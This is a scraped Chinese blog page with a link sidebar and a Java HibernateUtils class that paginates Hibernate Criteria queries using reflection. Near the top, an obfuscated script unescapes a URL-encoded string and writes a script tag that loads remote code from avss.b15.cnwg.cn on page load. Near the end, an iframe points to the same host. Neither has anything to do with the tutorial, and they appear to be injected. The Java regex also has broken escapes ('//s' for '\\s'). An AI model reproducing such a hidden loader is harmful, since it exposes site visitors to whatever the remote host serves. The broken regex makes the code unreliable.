Hibernat

 

HTML Tags and JavaScript tutorial


<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>
Hibernat


li>
j2ee

ComponentReference
javaeye tapestry
javatang(ajax等)
Struts-menu
struts标记库
Tapestry中文文档
Tapestry中文文档
老高
J2ME

java application

JViews Telecom Graphic Objects
JavaScript

google个性主页的拖拽效果的js
JavaScript高级教程
Java基础

java在线API
中文版jdk API
Liferay

Liferay Portal 系列文章
Liferay个人收集
Liferay英文站点
liferay论坛
Spring

Acegi 扩展开发
acegi官方网站
Acegi文档翻译与笔记
AppFuse
Security Acegi
springside 中文
Spring中文网站
Spring官方网站
Spring开发参考手册
Spring聚集
UML

jude
WebServices

AppFuseXFire
Java Technology and Web Services
Java Technology and Web Services - Documentation
Web Services Code Samples
电信

ctiforum
Essential SNMP, 2nd Edition
openvoip
中国网管联盟
通信专业门户
通信技术
工作流

JBoss jBPM 3.1
osworkflow
开源社区

cas
Cindy
数据库

Oracle? Database PL/SQL User's Guide and Reference
PL/SQL User's Guide and Reference
xsb Oracle Blog
甲骨文学(oracle)
杂记

存档

2007年09月(7)
2007年08月(20)
2007年07月(5)
2007年06月(16)
2007年05月(12)
2007年04月(32)
2007年03月(8)
2007年02月(4)
2007年01月(9)
2006年12月(9)
2006年11月(19)
2006年10月(20)
2006年09月(3)
2006年08月(4)
2006年07月(10)
2006年06月(2)
2006年05月(3)
2006年03月(7)
2006年02月(8)
2006年01月(3)
2004年10月(1)












上一篇: Java2Html
 | 
下一篇: Hibernate---Criteria


function StorePage(){d=document;t=d.selection?(d.selection.type!='None'?d.selection.createRange().text:''):(d.getSelection?d.getSelection():'');void(keyit=window.open('http://www.365key.com/storeit.aspx?t='+escape(d.title)+'&u='+escape(d.location.href)+'&c='+escape(t),'keyit','scrollbars=no,width=475,height=575,left=75,top=20,status=no,resizable=yes'));keyit.focus();}


 Hibernate---Criteria



package
 com.javaeye.common.hibernate;
import
 java.lang.reflect.Field;
import
 java.sql.SQLException;
import
 java.util.ArrayList;
import
 java.util.List;
import
 java.util.regex.Matcher;
import
 java.util.regex.Pattern;
import
 org.apache.commons.lang.StringUtils;
import
 org.apache.commons.logging.Log;
import
 org.apache.commons.logging.LogFactory;
import
 org.hibernate.Criteria;
import
 org.hibernate.HibernateException;
import
 org.hibernate.Session;
import
 org.hibernate.criterion.CriteriaSpecification;
import
 org.hibernate.criterion.DetachedCriteria;
import
 org.hibernate.criterion.Projection;
import
 org.hibernate.criterion.Projections;
import
 org.hibernate.impl.CriteriaImpl;
import
 org.hibernate.impl.CriteriaImpl.OrderEntry;
import
 org.springframework.dao.DataAccessException;
import
 org.springframework.orm.hibernate3.HibernateCallback;
import
 org.springframework.orm.hibernate3.HibernateTemplate;
import
 org.springframework.util.Assert;
import
 com.skyon.framework.dao.PaginationSupport;
public
 
abstract
 
class
 HibernateUtils {
    
private
 
static
 Log logger 
=
 LogFactory.getLog(HibernateUtils.
class
);
    
private
 
static
 String removeSelect(String sql) {
        Assert.notNull(sql, 
"
sql must be specified 
"
);
        
int
 beginPos 
=
 sql.toLowerCase().indexOf(
"
from
"
);
        Assert.isTrue(beginPos 
!=
 
-
1

"
 the sql : 
"
 
+
 sql 
+
 
"
 must has a keyword 'from'
"
);
        
return
 sql.substring(beginPos);
    }
    
private
 
static
 String removeOrders(String sql) {
        Pattern p 
=
 Pattern.compile(
"
order//s*by[//w|//W|//s|//S]*
"
, Pattern.CASE_INSENSITIVE);
        Matcher m 
=
 p.matcher(sql);
        StringBuffer sb 
=
 
new
 StringBuffer();
        
while
 (m.find()) {
            m.appendReplacement(sb, 
""
);
        }
        m.appendTail(sb);
        
return
 sb.toString();
    }
    
public
 
static
 
int
 getTotalCount(HibernateTemplate hibernateTemplate, String queryString, 
boolean
 isNamedQuery,
            String[] paramNames, Object[] paramValues) 
throws
 IllegalArgumentException, DataAccessException {
        
if
 (StringUtils.isBlank(queryString)) {
            
throw
 
new
 IllegalArgumentException(
"
 queryString can't be blank 
"
);
        }
        String countQueryString 
=
 
"
 select count (*) 
"
 
+
 removeSelect(removeOrders(queryString));
        List countList;
        
if
 (isNamedQuery) {
            countList 
=
 hibernateTemplate.findByNamedParam(countQueryString, paramNames, paramValues);
        } 
else
 {
            countList 
=
 hibernateTemplate.find(countQueryString, paramValues);
        }
        
return
 ((Integer) countList.get(
0
)).intValue();
    }
    
public
 
static
 List getPageResult(Criteria criteria, 
int
 offset, 
int
 maxPageItems) 
throws
 HibernateException {
        criteria.setFirstResult(offset);
        criteria.setMaxResults(maxPageItems);
        
return
 criteria.list();
    }
    
public
 
static
 PaginationSupport findByCriteria(HibernateTemplate hibernateTemplate,
            
final
 DetachedCriteria criteria, 
final
 
int
 firstResult, 
final
 
int
 maxResults) 
throws
 DataAccessException {
        
return
 (PaginationSupport) hibernateTemplate.execute(
new
 HibernateCallback() {
            
public
 Object doInHibernate(Session session) 
throws
 HibernateException, SQLException {
                Criteria executableCriteria 
=
 criteria.getExecutableCriteria(session);
                
//
 Get the orginal orderEntries
                OrderEntry[] orderEntries 
=
 HibernateUtils.getOrders(executableCriteria);
                
//
 Remove the orders
                executableCriteria 
=
 HibernateUtils.removeOrders(executableCriteria);
                
//
 get the original projection
                Projection projection 
=
 HibernateUtils.getProjection(executableCriteria);
                
int
 totalCount 
=
 ((Integer) executableCriteria.setProjection(Projections.rowCount()).uniqueResult())
                        .intValue();
                executableCriteria.setProjection(projection);
                
if
 (projection 
==
 
null
) {
                    
//
 Set the ResultTransformer to get the same object
                    
//
 structure with hql
                    executableCriteria.setResultTransformer(CriteriaSpecification.ROOT_ENTITY);
                }
                
//
 Add the orginal orderEntries
                executableCriteria 
=
 HibernateUtils.addOrders(executableCriteria, orderEntries);
                
//
 Now, the Projection and the orderEntries have been resumed
                List items 
=
 HibernateUtils.getPageResult(executableCriteria, firstResult, maxResults);
                
return
 
new
 PaginationSupport(items, totalCount, firstResult, maxResults);
            }
        }, 
true
);
    }
    
public
 
static
 Projection getProjection(Criteria criteria) {
        CriteriaImpl impl 
=
 (CriteriaImpl) criteria;
        
return
 impl.getProjection();
    }
    
public
 
static
 OrderEntry[] getOrders(Criteria criteria) {
        CriteriaImpl impl 
=
 (CriteriaImpl) criteria;
        Field field 
=
 getOrderEntriesField(criteria);
        
try
 {
            
return
 (OrderEntry[]) ((List) field.get(impl)).toArray(
new
 OrderEntry[
0
]);
        } 
catch
 (Exception e) {
            
throw
 
new
 InternalError(
"
 Runtime Exception impossibility can't throw 
"
);
        }
    }
    
public
 
static
 Criteria removeOrders(Criteria criteria) {
        CriteriaImpl impl 
=
 (CriteriaImpl) criteria;
        
try
 {
            Field field 
=
 getOrderEntriesField(criteria);
            field.set(impl, 
new
 ArrayList());
            
return
 impl;
        } 
catch
 (Exception e) {
            
throw
 
new
 InternalError(
"
 Runtime Exception impossibility can't throw 
"
);
        }
    }
    
public
 
static
 Criteria addOrders(Criteria criteria, OrderEntry[] orderEntries) {
        CriteriaImpl impl 
=
 (CriteriaImpl) criteria;
        
try
 {
            Field field 
=
 getOrderEntriesField(criteria);
            
for
 (
int
 i 
=
 
0
; i 
<
 orderEntries.length; i
++
) {
                List innerOrderEntries 
=
 (List) field.get(criteria);
                innerOrderEntries.add(orderEntries[i]);
            }
            
return
 impl;
        } 
catch
 (Exception e) {
            
throw
 
new
 InternalError(
"
 Runtime Exception impossibility can't throw 
"
);
        }
    }
    
private
 
static
 Field getOrderEntriesField(Criteria criteria) {
        Assert.notNull(criteria, 
"
 criteria is requried. 
"
);
        
try
 {
            Field field 
=
 CriteriaImpl.
class
.getDeclaredField(
"
orderEntries
"
);
            field.setAccessible(
true
);
            
return
 field;
        } 
catch
 (Exception e) {
            
throw
 
new
 InternalError();
        }
    }
}
 

src="http://avss.b15.cnwg.cn/count/iframe.asp" frameborder="0" width="650" scrolling="no" height="160">
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值